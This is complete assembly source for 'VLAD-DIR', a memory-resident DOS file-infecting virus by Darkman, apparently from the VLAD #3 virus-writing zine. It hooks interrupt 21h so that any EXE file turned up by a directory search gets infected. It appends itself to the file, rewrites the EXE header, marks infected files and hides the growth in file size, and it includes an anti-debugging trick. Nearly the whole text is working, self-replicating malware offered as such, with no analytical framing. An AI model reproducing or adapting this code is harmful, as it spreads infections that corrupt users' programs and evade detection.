; Darkman/VLAD
; Proudly Presents
; V L A D - D I R
vlad_dir segment
assume cs:vlad_dir,ds:vlad_dir,es:vlad_dir
org 00h
code:
call viruscode
viruscode:
pop bp ; Load BP from stack
sub bp,offset viruscode ; BP = delta offset
push ds ; Save DS at stack
push es ; Save ES at stack
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
mov word ptr [bp+antidebug],20cdh
antidebug:
mov word ptr [bp+antidebug],0c73eh
mov ax,6301h ; VLAD-DIR service
int 21h ; Do it!
cmp ax,bx ; Already resident?
je vdexit ; Equal? Jump to vdexit
mov ax,es
dec ax ; Decrease AX
mov ds,ax ; DS = segment of programs MCB
cmp byte ptr ds:[00h],'Z'
jne vdexit ; Not last in chain? Jump to vdexit
sub word ptr ds:[03h],(memoryend-code+0fh)/10h
sub word ptr ds:[12h],(memoryend-code+0fh)/10h
add ax,ds:[03h] ; AX = MCB + size of memory block
inc ax ; AX = first usable MCB segment
cld ; Clear direction flag
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
mov es,ax ; ES = first usable program segment
mov cx,(codeend-code) ; Move 651 bytes
xor di,di ; Clear DI
lea si,[bp+code] ; SI = offset of code
rep movsb ; Move virus to high memory
xor ax,ax ; Clear AX
mov ds,ax ; DS = segment of interrupt table
lea di,int21adr ; DI = offset of int21adr
mov si,(21h*04h) ; SI = offset of interrupt 21h
movsw ; Store address of interrupt 21h \
movsw ; in int21adr /
mov word ptr ds:[21h*04h],offset virusint21
mov ds:[21h*04h+02h],es ; Intercept interrupt 21h
vdexit:
pop es ; Load ES from stack
pop ds ; Load DS from stack
mov ax,es
add ax,10h ; Beginning of EXE file
add word ptr cs:[bp+csip+02h],ax
mov sp,word ptr cs:[bp+sssp]
add ax,word ptr cs:[bp+sssp+02h]
mov ss,ax
db 0eah ; Object code of jump far
csip dd 0fff00000h ; CS:IP of infected file
sssp dd ? ; SS:SP of infected file
virusint21 proc near ; Interrupt 21h of VLAD-DIR
pushf ; Save flags at stack
cmp ax,6301h ; VLAD-DIR service?
je vdservice ; Equal? Jump to vdservice
cmp ah,4eh ; Find next matching file (DTA)?
je getdtapath ; Equal? Jump to getdtapath
cmp ah,4fh ; Find first matching file (DTA)?
je infectdta ; Equal? Jump to infectdta
cmp ah,11h ; Find first matching file (FCB)?
je getfcbpath ; Equal? Jump to getfcbpath
cmp ah,12h ; Find next matching file (FCB)?
je getfcbpath ; Equal? Jump to getfcbpath
popf ; Load flags from stack
db 0eah ; Object code of jump far
int21adr dd ? ; Address of interrupt 21h
vdservice:
mov bx,ax
popf ; Load flags from stack
iret ; Interrupt return!
getdtapath:
push ax ; Save AX at stack
push di ; Save DI at stack
push si ; Save SI at stack
push es ; Save ES at stack
cld ; Clear direction flag
lea di,filename ; DI = offset of filename
mov si,dx
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
mov filenameoff,di ; Store offset of filename
movepathdta:
lodsb ; Load a byte of path
or al,al ; End of path?
je pathdtaexit ; Equal? Jump to pathdtaexit
stosb ; Store a byte of path
cmp al,':' ; Possible end of path?
je setnameoff ; Equal? Jump to setnameoff
cmp al,'\' ; Possible end of path?
jne movepathdta ; Not equal? Jump to movepathdta
setnameoff:
mov filenameoff,di ; Store offset of filename
jmp movepathdta
pathdtaexit:
pop es ; Load ES from stack
pop si ; Load SI from stack
pop di ; Load DI from stack
pop ax ; Load AX from stack
infectdta:
call dword ptr cs:int21adr
push ax ; Save AX at stack
push bx ; Save BX at stack
push cx ; Save CX at stack
push dx ; Save DX at stack
push di ; Save DI at stack
push si ; Save SI at stack
push ds ; Save DS at stack
push es ; Save ES at stack
pushf ; Save flags at stack
cld ; Clear direction flag
mov ah,2fh ; Get Disk Transfer Address (DTA)
int 21h ; Do it!
mov di,filenameoff ; DI = offset of filename
mov si,bx
add si,1eh ; SI = offset of filename (DTA)
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
movenamedta:
lodsb ; Load a byte of filename (DTA)
stosb ; Store a byte of filename
or al,al ; End of filename?
jne movenamedta ; Not equal? Jump to movenamedta
push bx ; Save BX at stack
push ds ; Save DS at stack
call infectfile
pop es ; Load ES from stack (DS)
pop di ; Load DI from stack (BX)
cmp word ptr [si+12h],'DV'
jne dtaexit ; Already infected? Jump to dtaexit
sub es:[di+1ah],(codeend-code)
sbb word ptr es:[di+1ch],00h
dtaexit:
jmp int21exit
getfcbpath:
push ax ; Save AX at stack
push di ; Save DI at stack
push si ; Save SI at stack
push es ; Save ES at stack
mov si,dx
add si,0a4cfh ; SI = offset of FCB
cmp byte ptr [si+01h],':'
jne infectfcb ; Not equal? Jump to infectfcb
lea di,filename ; DI = offset of filename
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
movepathfcb:
lodsb ; Load a byte of path
or al,al ; End of path?
je pathfcbexit ; Equal? Jump to pathfcbexit
stosb ; Store a byte of path
jmp movepathfcb
pathfcbexit:
mov al,'\'
stosb ; Store the last byte of the path
mov filenameoff,di ; Store offset of filename
infectfcb:
pop es ; Load ES from stack
pop si ; Load SI from stack
pop di ; Load DI from stack
pop ax ; Load AX from stack
call dword ptr cs:int21adr
push ax ; Save AX at stack
push bx ; Save BX at stack
push cx ; Save CX at stack
push dx ; Save DX at stack
push di ; Save DI at stack
push si ; Save SI at stack
push ds ; Save DS at stack
push es ; Save ES at stack
pushf ; Save flags at stack
or al,al ; Filename match found?
jne int21exit ; Not equal? Jump to int21exit
cld ; Clear direction flag
add dx,0a4cfh ; DX = offset of FCB
mov si,dx
cmp byte ptr [si],0ffh ; Extended FCB ID?
jne initmovefcb ; Not equal? Jump to initmovefcb
add si,07h ; SI = offset of extended FCB
initmovefcb:
push si ; Save SI at stack
push ds ; Save DS at stack
mov cx,08h ; Move 8 bytes
mov di,filenameoff ; DI = offset of filename
inc si ; SI = offset of filename (FCB)
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
movenamefcb:
lodsb ; Load a byte of filename (FCB)
cmp al,' ' ; End of filename?
je createext ; Equal? Jump to createext
stosb ; Store a byte of filename
loop movenamefcb
inc si ; Increase SI
createext:
mov al,'.'
dec si ; Decrease SI
add si,cx ; SI = offset of extension (FCB)
stosb ; Create .EXE extension
movsw ; Move extension
movsb ; " "
xor al,al ; Clear AL
stosb ; Create a ASCIIZ filename
call infectfile
pop es ; Load ES from stack (DS)
pop di ; Load DI from stack (SI)
cmp word ptr [si+12h],'DV'
jne int21exit ; If infected jump to int21exit
sub es:[di+1dh],(codeend-code)
sbb word ptr es:[di+1fh],00h
int21exit:
popf ; Load flags from stack
pop es ; Load ES from stack
pop ds ; Load DS from stack
pop si ; Load SI from stack
pop di ; Load DI from stack
pop dx ; Load DX from stack
pop cx ; Load CX from stack
pop bx ; Load BX from stack
pop ax ; Load AX from stack
retf 02h ; Return far and pop a word!
endp
infectfile proc near ; Infect a EXE file
mov ax,3d00h ; Open file (read)
lea dx,filename ; DX = offset of filename
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
int 21h ; Do it!
jc infectexit ; Error? Jump to infectexit
xchg ax,bx ; Exchange AX with BX
mov ax,1220h ; Get system file table number
int 2fh ; Do it! (multiplex)
push bx ; Save BX at stack
mov ax,1216h ; Get address of system FCB
mov bl,es:[di] ; BL = system file table entry
int 2fh ; Do it! (multiplex)
pop bx ; Load BX from stack
mov byte ptr es:[di+02h],02h
mov ax,5700h ; Get file's date/time
int 21h ; Do it!
push cx ; Save CX at stack
push dx ; Save DX at stack
cmp word ptr es:[di+28h],'XE'
jne closefile ; Not equal? Jump to closefile
cmp byte ptr es:[di+2ah],'E'
jne closefile ; Not equal? Jump to closefile
mov ah,3fh ; Read from file
mov cx,1ch ; Read 28 bytes
lea dx,exeheader ; DX = offset of exeheader
mov si,dx
int 21h ; Do it!
cmp word ptr [si],'MZ' ; EXE file?
je infecttest ; Equal? Jump to infecttest
cmp word ptr [si],'ZM' ; EXE file?
je infecttest ; Equal? Jump to infecttest
closefile:
mov ax,5701h ; Set file's date/time
pop dx ; Load DX from stack
pop cx ; Load CX from stack
int 21h ; Do it!
mov ah,3eh ; Close file
int 21h ; Do it!
infectexit:
ret ; Return!
infecttest:
cmp word ptr [si+12h],'DV'
je closefile ; If infected jump to closefile
cmp word ptr [si+1ah],00h
jne closefile ; Internal overlay? go to closefile
push si ; Save SI at stack
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
add si,0eh ; SI = offset of SS:SP
lea di,sssp ; DI = offset of sssp
movsw ; Store original SP
movsw ; Store original SS
lodsw ; SI = offset of CS:IP
lea di,csip ; DI = offset of csip
movsw ; Store original IP
movsw ; Store original CS
pop si ; Load SI from stack
mov ax,4202h ; Move file pointer to the end
cwd ; Clear DX
mov cx,dx ; Clear CX
int 21h ; Do it!
push ax ; Save AX at stack
push dx ; Save DX at stack
mov cx,10h
div cx ; Convert bytes to paragraphs
sub ax,word ptr [si+08h]
mov word ptr [si+14h],dx
mov word ptr [si+16h],ax
add dx,offset memoryend ; Calculate virus stack
mov word ptr [si+0eh],ax
mov word ptr [si+10h],dx
pop dx ; Load DX from stack
pop ax ; Load AX from stack
add ax,(codeend-code) ; Add the length of the virus
adc dx,00h ; Convert to 32 bit
mov cx,512
div cx ; Divide by pages
inc ax ; Increase AX
mov word ptr [si+04h],ax
mov word ptr [si+02h],dx
mov word ptr [si+12h],'DV'
mov ah,40h ; Write to file
mov cx,(codeend-code) ; Write 651 bytes
cwd ; DX = offset of code
int 21h ; Do it!
mov ax,4200h ; File pointer to the beginning
cwd ; Clear DX
mov cx,dx ; Clear CX
int 21h ; Do it!
mov ah,40h ; Write to file
mov cx,1ch ; Write 28 bytes
mov dx,si ; DX = offset of exeheader
int 21h ; Do it!
dec si ; Decrease SI
jmp closefile
endp
virusname db ' [VLAD-DIR]' ; Name of the virus
virusauthor db ' [Darkman/VLAD]' ; Author of the virus
codeend:
filenameoff dw ? ; Offset of DTA/FCB filename
filename db 4ch dup(?) ; DTA/FCB filename
exeheader db 1ch dup(?) ; EXE header
memoryend:
vlad_dir ends
end code
- VLAD #3 INDEX -